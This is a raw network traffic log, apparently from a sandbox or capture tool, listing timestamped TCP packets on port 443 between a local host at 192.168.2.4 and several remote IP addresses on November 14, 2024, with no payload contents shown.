Nov 14, 2024 20:43:05.207736969 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.208277941 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.208344936 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:05.209275961 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.209332943 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:05.209491968 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:05.209585905 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.209611893 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:05.224212885 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:05.224276066 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:05.224442005 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:05.224606991 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:05.224673033 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:05.231276035 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.242027998 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.242130041 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.242139101 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.242206097 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.242275953 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.242295980 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.248737097 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.248799086 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.248815060 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.249023914 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.249077082 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.249090910 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.249547005 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.249615908 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.249630928 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.251368999 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.256213903 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:05.256227016 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.281532049 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.281661987 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.281733036 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.281785011 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:05.281800032 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.281835079 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:05.282382965 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:05.282463074 CET	443	49807	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:05.282525063 CET	49807	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:05.291382074 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.291496992 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.291573048 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.291639090 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.291708946 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.304373980 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:05.724078894 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.724785089 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.724900007 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.724946022 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.724981070 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725086927 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725168943 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725210905 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725245953 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725277901 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725305080 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725327015 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.725327015 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.725334883 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725353003 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725399017 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725605965 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.725605965 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.725682974 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.725725889 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.725946903 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726336956 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726380110 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726423979 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726459026 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726509094 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726551056 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726583958 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726613998 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.726624012 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726633072 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.726639032 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726682901 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.726699114 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726759911 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726809978 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726835012 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.726841927 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726856947 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.726871967 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.726878881 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.726914883 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.726914883 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:05.726937056 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:05.733510017 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.733630896 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.733705044 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.734041929 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.734107018 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.734329939 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.734369040 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.734396935 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.734421968 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.734528065 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.734529018 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.734595060 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.734652996 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.735095978 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.735246897 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.735301971 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.735317945 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.736088037 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.736148119 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.736185074 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.736201048 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.736284018 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.736298084 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.736454964 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:05.736560106 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.772115946 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:05.781284094 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:05.781395912 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:05.781486988 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:05.790644884 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:05.790754080 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:05.790832996 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:05.790890932 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:05.790929079 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:05.791038036 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:05.791076899 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:05.992903948 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:05.992970943 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:06.082462072 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.082674980 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.083101034 CET	443	49809	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.083281040 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.083281040 CET	49809	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.083617926 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.083705902 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.083786964 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.084104061 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.084146023 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.128973961 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.129018068 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.129218102 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.129278898 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.129295111 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.646121025 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.646542072 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.646605015 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.648277998 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.648353100 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.648802996 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.648907900 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.648943901 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.691323996 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.693470001 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.693540096 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.698235035 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.698508024 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.698573112 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.700036049 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.700098038 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.706054926 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.706163883 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.706469059 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.706486940 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.736517906 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.758328915 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.898412943 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.898541927 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.898611069 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.898631096 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.898659945 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.898720980 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.898744106 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.898874998 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.898929119 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.898950100 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.906956911 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.907030106 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.907073975 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.949229956 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.949270964 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.954777956 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.955025911 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.955049992 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.955499887 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.955718040 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.956098080 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.956161022 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.956301928 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.956377029 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.956505060 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:06.956537962 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:06.972990990 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.974925995 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.974961996 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.976432085 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.976492882 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.977041006 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.977133989 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.977327108 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:06.977338076 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:06.985037088 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.985167027 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.985232115 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.985243082 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.985317945 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.985368013 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.987603903 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.987694025 CET	443	49810	142.250.186.164	192.168.2.4
Nov 14, 2024 20:43:06.987807989 CET	49810	443	192.168.2.4	142.250.186.164
Nov 14, 2024 20:43:06.992790937 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.007934093 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:07.015571117 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.016310930 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.016490936 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.016555071 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.018305063 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.018497944 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.018562078 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.023993015 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.024172068 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.024236917 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.029409885 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.031543016 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.031728029 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.031791925 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.086935997 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.087002039 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.129472017 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.132971048 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.133121967 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.133176088 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.133209944 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.138315916 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.138382912 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.138401031 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.140894890 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.141060114 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.141124010 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.148402929 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.148502111 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.148565054 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.190799952 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.194962978 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.195005894 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.222589016 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.222635031 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.222666979 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.222700119 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.222732067 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.222743034 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.222767115 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.222800016 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.226079941 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.226088047 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.231170893 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.231296062 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.231307983 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.233668089 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:07.233783007 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:07.233959913 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:07.234026909 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:07.240510941 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.242094040 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:07.242196083 CET	443	49813	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:07.242428064 CET	49813	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:07.249682903 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.249954939 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.250005960 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.250097990 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.250140905 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.250241995 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.252589941 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.257316113 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.257402897 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.257426977 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.257467985 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:07.257560015 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:07.257841110 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:07.260020971 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:07.260077953 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:07.265912056 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.266127110 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.266148090 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.270989895 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.271023035 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.307936907 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.308011055 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.308187962 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.308254004 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.309356928 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.313658953 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.337991953 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.338042021 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.338319063 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.338351965 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.342569113 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.343066931 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.343099117 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.346693993 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.346906900 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.346940041 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.355962992 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.356158018 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.356192112 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.367588043 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.374694109 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.374766111 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.374855995 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.374938011 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.374946117 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.375022888 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.375066042 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.375669956 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.383013964 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.396035910 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.396193027 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.396236897 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.408493996 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.408525944 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.425266027 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.425543070 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.425606012 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.453494072 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.453668118 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.453700066 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.457668066 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.457849026 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.457859039 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.462085009 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.465408087 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.465936899 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.465945959 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.466082096 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.469511032 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.469568014 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.470591068 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.478355885 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:07.478444099 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:07.478781939 CET	49818	443	192.168.2.4	142.250.186.46
